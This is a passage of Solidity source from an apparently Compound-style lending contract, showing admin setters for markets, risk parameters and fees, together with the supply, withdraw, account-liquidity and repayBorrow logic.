markets[asset].supplyIndex = initialInterestIndex;
}
if (markets[asset].borrowIndex == 0) {
markets[asset].borrowIndex = initialInterestIndex;
}
emit SupportedMarket(asset, interestRateModel);
return uint(Error.NO_ERROR);
}
/**
* @notice Suspends a given *supported* market (asset) from use with Compound.
* Assets in this state do count for collateral, but users may only withdraw, payBorrow,
* and liquidate the asset. The liquidate function no longer checks collateralization.
* @dev Admin function to suspend a market
* @param asset Asset to suspend
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _suspendMarket(address asset) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SUSPEND_MARKET_OWNER_CHECK);
}
// If the market is not configured at all, we don't want to add any configuration for it.
// If we find !markets[asset].isSupported then either the market is not configured at all, or it
// has already been marked as unsupported. We can just return without doing anything.
// Caller is responsible for knowing the difference between not-configured and already unsupported.
if (!markets[asset].isSupported) {
return uint(Error.NO_ERROR);
}
// If we get here, we know market is configured and is supported, so set isSupported to false
markets[asset].isSupported = false;
emit SuspendedMarket(asset);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the risk parameters: collateral ratio and liquidation discount
* @dev Owner function to set the risk parameters
* @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1
* @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setRiskParameters(uint collateralRatioMantissa, uint liquidationDiscountMantissa) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RISK_PARAMETERS_OWNER_CHECK);
}
Exp memory newCollateralRatio = Exp({mantissa: collateralRatioMantissa});
Exp memory newLiquidationDiscount = Exp({mantissa: liquidationDiscountMantissa});
Exp memory minimumCollateralRatio = Exp({mantissa: minimumCollateralRatioMantissa});
Exp memory maximumLiquidationDiscount = Exp({mantissa: maximumLiquidationDiscountMantissa});
Error err;
Exp memory newLiquidationDiscountPlusOne;
// Make sure new collateral ratio value is not below minimum value
if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) {
return fail(Error.INVALID_COLLATERAL_RATIO, FailureInfo.SET_RISK_PARAMETERS_VALIDATION);
}
// Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the
// existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential.
if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) {
return fail(Error.INVALID_LIQUIDATION_DISCOUNT, FailureInfo.SET_RISK_PARAMETERS_VALIDATION);
}
// C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount`
// C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount`
(err, newLiquidationDiscountPlusOne) = addExp(newLiquidationDiscount, Exp({mantissa: mantissaOne}));
assert(err == Error.NO_ERROR); // We already validated that newLiquidationDiscount does not approach overflow size
if (lessThanOrEqualExp(newCollateralRatio, newLiquidationDiscountPlusOne)) {
return fail(Error.INVALID_COMBINED_RISK_PARAMETERS, FailureInfo.SET_RISK_PARAMETERS_VALIDATION);
}
// Save current values so we can emit them in log.
Exp memory oldCollateralRatio = collateralRatio;
Exp memory oldLiquidationDiscount = liquidationDiscount;
// Store new values
collateralRatio = newCollateralRatio;
liquidationDiscount = newLiquidationDiscount;
emit NewRiskParameters(oldCollateralRatio.mantissa, collateralRatioMantissa, oldLiquidationDiscount.mantissa, liquidationDiscountMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the origination fee (which is a multiplier on new borrows)
* @dev Owner function to set the origination fee
* @param originationFeeMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setOriginationFee(uint originationFeeMantissa) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_ORIGINATION_FEE_OWNER_CHECK);
}
// Save current value so we can emit it in log.
Exp memory oldOriginationFee = originationFee;
originationFee = Exp({mantissa: originationFeeMantissa});
emit NewOriginationFee(oldOriginationFee.mantissa, originationFeeMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the interest rate model for a given market
* @dev Admin function to set interest rate model
* @param asset Asset to support
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setMarketInterestRateModel(address asset, InterestRateModel interestRateModel) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
emit SetMarketInterestRateModel(asset, interestRateModel);
return uint(Error.NO_ERROR);
}
/**
* @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity= cash - (supply + borrows)
* @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash - (supply + borrows)
* @param asset asset whose equity should be withdrawn
* @param amount amount of equity to withdraw; must not exceed equity available
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _withdrawEquity(address asset, uint amount) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK);
}
// Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply.
uint cash = getCash(asset);
(Error err0, uint equity) = addThenSub(cash, markets[asset].totalBorrows, markets[asset].totalSupply);
if (err0 != Error.NO_ERROR) {
return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY);
}
if (amount > equity) {
return fail(Error.EQUITY_INSUFFICIENT_BALANCE, FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// We ERC-20 transfer the asset out of the protocol to the admin
Error err2 = doTransferOut(asset, admin, amount);
if (err2 != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err2, FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED);
}
//event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner)
emit EquityWithdrawn(asset, equity, amount, admin);
return uint(Error.NO_ERROR); // success
}
/**
* The `SupplyLocalVars` struct is used internally in the `supply` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct SupplyLocalVars {
uint startingBalance;
uint newSupplyIndex;
uint userSupplyCurrent;
uint userSupplyUpdated;
uint newTotalSupply;
uint currentCash;
uint updatedCash;
uint newSupplyRateMantissa;
uint newBorrowIndex;
uint newBorrowRateMantissa;
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol
* @dev add amount of supported asset to msg.sender's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supply(address asset, uint amount) public returns (uint) {
if (paused) {
return fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED);
}
Market storage market = markets[asset];
Balance storage balance = supplyBalances[msg.sender][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint rateCalculationResultCode; // Used for 2 interest rate calculation calls
// Fail if market not supported
if (!market.isSupported) {
return fail(Error.MARKET_NOT_SUPPORTED, FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED);
}
// Fail gracefully if asset is not approved or has insufficient balance
err = checkTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE);
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(market.supplyIndex, market.supplyRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED);
}
(err, localResults.userSupplyCurrent) = calculateBalance(balance.principal, balance.interestIndex, localResults.newSupplyIndex);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED);
}
(err, localResults.userSupplyUpdated) = add(localResults.userSupplyCurrent, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(market.totalSupply, localResults.userSupplyUpdated, balance.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market.interestRateModel.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
// We calculate the newBorrowIndex (we already had newSupplyIndex)
(err, localResults.newBorrowIndex) = calculateInterestIndex(market.borrowIndex, market.borrowRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market.interestRateModel.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED);
}
// Save market updates
market.blockNumber = getBlockNumber();
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = localResults.newSupplyIndex;
emit SupplyReceived(msg.sender, asset, amount, localResults.startingBalance, localResults.userSupplyUpdated);
return uint(Error.NO_ERROR); // success
}
struct WithdrawLocalVars {
uint withdrawAmount;
uint startingBalance;
uint newSupplyIndex;
uint userSupplyCurrent;
uint userSupplyUpdated;
uint newTotalSupply;
uint currentCash;
uint updatedCash;
uint newSupplyRateMantissa;
uint newBorrowIndex;
uint newBorrowRateMantissa;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfWithdrawal;
uint withdrawCapacity;
}
/**
* @notice withdraw `amount` of `asset` from sender's account to sender's address
* @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender
* @param asset The market asset to withdraw
* @param requestedAmount The amount to withdraw (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function withdraw(address asset, uint requestedAmount) public returns (uint) {
if (paused) {
return fail(Error.CONTRACT_PAUSED, FailureInfo.WITHDRAW_CONTRACT_PAUSED);
}
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[msg.sender][asset];
WithdrawLocalVars memory localResults; // Holds all our calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint rateCalculationResultCode; // Used for 2 interest rate calculation calls
// We calculate the user's accountLiquidity and accountShortfall.
(err, localResults.accountLiquidity, localResults.accountShortfall) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED);
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(market.supplyIndex, market.supplyRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED);
}
(err, localResults.userSupplyCurrent) = calculateBalance(supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED);
}
// If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent
if (requestedAmount == uint(-1)) {
(err, localResults.withdrawCapacity) = getAssetAmountForValue(asset, localResults.accountLiquidity);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED);
}
localResults.withdrawAmount = min(localResults.withdrawCapacity, localResults.userSupplyCurrent);
} else {
localResults.withdrawAmount = requestedAmount;
}
// From here on we should NOT use requestedAmount.
// Fail gracefully if protocol has insufficient cash
// If protocol has insufficient cash, the sub operation will underflow.
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = sub(localResults.currentCash, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE);
}
// We check that the amount is less than or equal to supplyCurrent
// If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW
(err, localResults.userSupplyUpdated) = sub(localResults.userSupplyCurrent, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
return fail(Error.INSUFFICIENT_BALANCE, FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return fail(Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT);
}
// We want to know the user's withdrawCapacity, denominated in the asset
// Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth)
// Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth
(err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount(asset, localResults.withdrawAmount); // amount * oraclePrice = ethValueOfWithdrawal
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED);
}
// We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below)
if (lessThanExp(localResults.accountLiquidity, localResults.ethValueOfWithdrawal) ) {
return fail(Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply.
// Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalSupply) = addThenSub(market.totalSupply, localResults.userSupplyUpdated, supplyBalance.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market.interestRateModel.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
// We calculate the newBorrowIndex
(err, localResults.newBorrowIndex) = calculateInterestIndex(market.borrowIndex, market.borrowRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market.interestRateModel.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED);
}
// Save market updates
market.blockNumber = getBlockNumber();
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event
supplyBalance.principal = localResults.userSupplyUpdated;
supplyBalance.interestIndex = localResults.newSupplyIndex;
emit SupplyWithdrawn(msg.sender, asset, localResults.withdrawAmount, localResults.startingBalance, localResults.userSupplyUpdated);
return uint(Error.NO_ERROR); // success
}
struct AccountValueLocalVars {
address assetAddress;
uint collateralMarketsLength;
uint newSupplyIndex;
uint userSupplyCurrent;
Exp supplyTotalValue;
Exp sumSupplies;
uint newBorrowIndex;
uint userBorrowCurrent;
Exp borrowTotalValue;
Exp sumBorrows;
}
/**
* @dev Gets the user's account liquidity and account shortfall balances. This includes
* any accumulated interest thus far but does NOT actually update anything in
* storage, it simply calculates the account liquidity and shortfall with liquidity being
* returned as the first Exp, ie (Error, accountLiquidity, accountShortfall).
*/
function calculateAccountLiquidity(address userAddress) internal view returns (Error, Exp memory, Exp memory) {
Error err;
uint sumSupplyValuesMantissa;
uint sumBorrowValuesMantissa;
(err, sumSupplyValuesMantissa, sumBorrowValuesMantissa) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return(err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
Exp memory result;
Exp memory sumSupplyValuesFinal = Exp({mantissa: sumSupplyValuesMantissa});
Exp memory sumBorrowValuesFinal; // need to apply collateral ratio
(err, sumBorrowValuesFinal) = mulExp(collateralRatio, Exp({mantissa: sumBorrowValuesMantissa}));
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall.
// else the user meets the collateral ratio and has account liquidity.
if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) {
// accountShortfall = borrows - supplies
(err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal);
assert(err == Error.NO_ERROR); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, Exp({mantissa: 0}), result);
} else {
// accountLiquidity = supplies - borrows
(err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal);
assert(err == Error.NO_ERROR); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, result, Exp({mantissa: 0}));
}
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18)
* TODO: Possibly should add a Min(500, collateralMarkets.length) for extra safety
* TODO: To help save gas we could think about using the current Market.interestIndex
* accumulate interest rather than calculating it
*/
function calculateAccountValuesInternal(address userAddress) internal view returns (Error, uint, uint) {
/** By definition, all collateralMarkets are those that contribute to the user's
* liquidity and shortfall so we need only loop through those markets.
* To handle avoiding intermediate negative results, we will sum all the user's
* supply balances and borrow balances (with collateral ratio) separately and then
* subtract the sums at the end.
*/
AccountValueLocalVars memory localResults; // Re-used for all intermediate results
localResults.sumSupplies = Exp({mantissa: 0});
localResults.sumBorrows = Exp({mantissa: 0});
Error err; // Re-used for all intermediate errors
localResults.collateralMarketsLength = collateralMarkets.length;
for (uint i = 0; i < localResults.collateralMarketsLength; i++) {
localResults.assetAddress = collateralMarkets[i];
Market storage currentMarket = markets[localResults.assetAddress];
Balance storage supplyBalance = supplyBalances[userAddress][localResults.assetAddress];
Balance storage borrowBalance = borrowBalances[userAddress][localResults.assetAddress];
if (supplyBalance.principal > 0) {
// We calculate the newSupplyIndex and user’s supplyCurrent (includes interest)
(err, localResults.newSupplyIndex) = calculateInterestIndex(currentMarket.supplyIndex, currentMarket.supplyRateMantissa, currentMarket.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return (err, 0, 0);
}
(err, localResults.userSupplyCurrent) = calculateBalance(supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex);
if (err != Error.NO_ERROR) {
return (err, 0, 0);
}
// We have the user's supply balance with interest so let's multiply by the asset price to get the total value
(err, localResults.supplyTotalValue) = getPriceForAssetAmount(localResults.assetAddress, localResults.userSupplyCurrent); // supplyCurrent * oraclePrice = supplyValueInEth
if (err != Error.NO_ERROR) {
return (err, 0, 0);
}
// Add this to our running sum of supplies
(err, localResults.sumSupplies) = addExp(localResults.supplyTotalValue, localResults.sumSupplies);
if (err != Error.NO_ERROR) {
return (err, 0, 0);
}
}
if (borrowBalance.principal > 0) {
// We perform a similar actions to get the user's borrow balance
(err, localResults.newBorrowIndex) = calculateInterestIndex(currentMarket.borrowIndex, currentMarket.borrowRateMantissa, currentMarket.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return (err, 0, 0);
}
(err, localResults.userBorrowCurrent) = calculateBalance(borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex);
if (err != Error.NO_ERROR) {
return (err, 0, 0);
}
// In the case of borrow, we multiply the borrow value by the collateral ratio
(err, localResults.borrowTotalValue) = getPriceForAssetAmount(localResults.assetAddress, localResults.userBorrowCurrent); // ( borrowCurrent* oraclePrice * collateralRatio) = borrowTotalValueInEth
if (err != Error.NO_ERROR) {
return (err, 0, 0);
}
// Add this to our running sum of borrows
(err, localResults.sumBorrows) = addExp(localResults.borrowTotalValue, localResults.sumBorrows);
if (err != Error.NO_ERROR) {
return (err, 0, 0);
}
}
}
return (Error.NO_ERROR, localResults.sumSupplies.mantissa, localResults.sumBorrows.mantissa);
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details),
* sum ETH value of supplies scaled by 10e18,
* sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValues(address userAddress) public view returns (uint, uint, uint) {
(Error err, uint supplyValue, uint borrowValue) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (uint(err), 0, 0);
}
return (0, supplyValue, borrowValue);
}
struct PayBorrowLocalVars {
uint newBorrowIndex;
uint userBorrowCurrent;
uint repayAmount;
uint userBorrowUpdated;
uint newTotalBorrows;
uint currentCash;
uint updatedCash;
uint newSupplyIndex;
uint newSupplyRateMantissa;
uint newBorrowRateMantissa;
uint startingBalance;
}
/**
* @notice Users repay borrowed assets from their own address to the protocol.
* @param asset The market asset to repay
* @param amount The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(address asset, uint amount) public returns (uint) {
if (paused) {
return fail(Error.CONTRACT_PAUSED, FailureInfo.REPAY_BORROW_CONTRACT_PAUSED);
}
PayBorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint rateCalculationResultCode;
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(market.borrowIndex, market.borrowRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED);
}
(err, localResults.userBorrowCurrent) = calculateBalance(borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED);
}
// If the user specifies -1 amount to repay (“max”), repayAmount =>
// the lesser of the senders ERC-20 balance and borrowCurrent
if (amount == uint(-1)) {
localResults.repayAmount = min(getBalanceOf(asset, msg.sender), localResults.userBorrowCurrent);
} else {
localResults.repayAmount = amount;
}
// Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated`
// Note: this checks that repayAmount is less than borrowCurrent
(err, localResults.userBorrowUpdated) = sub(localResults.userBorrowCurrent, localResults.repayAmount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED);
}
// Fail gracefully if asset is not approved or has insufficient balance
// Note: this checks that repayAmount is less than or equal to their ERC-20 balance
err = checkTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE);
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalBorrows) = addThenSub(market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(localResults.currentCash, localResults.repayAmount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(market.supplyIndex, market.supplyRateMantissa, market.blockNumber, getBlockNumber());
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market.interestRateModel.getSupplyRate(asset, localResults.updatedCash, localResults.newTotalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market.interestRateModel.getBorrowRate(asset, localResults.updatedCash, localResults.newTotalBorrows);
if (rateCalculationResultCode != 0) {
return failOpaque(FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED);
}
// Save market updates
market.blockNumber = getBlockNumber();
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
emit BorrowRepaid(msg.sender, asset, localResults.repayAmount, localResults.startingBalance, localResults.userBorrowUpdated);
return uint(Error.NO_ERROR); // success
}
struct BorrowLocalVars {
uint newBorrowIndex;
uint userBorrowCurrent;
uint borrowAmountWithFee;
uint userBorrowUpdated;
uint newTotalBorrows;
uint currentCash;
uint updatedCash;
uint newSupplyIndex;
uint newSupplyRateMantissa;
uint newBorrowRateMantissa;
uint startingBalance;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfBorrowAmountWithFee;
}
struct LiquidateLocalVars {
// we need these addresses in the struct for use with `emitLiquidationEvent` to avoid `CompilerError: Stack too deep, try removing local variables.`
address targetAccount;
address assetBorrow;
address liquidator;
address assetCollateral;
// borrow index and supply index are global to the asset, not specific to the user
uint newBorrowIndex_UnderwaterAsset;
uint newSupplyIndex_UnderwaterAsset;
uint newBorrowIndex_CollateralAsset;
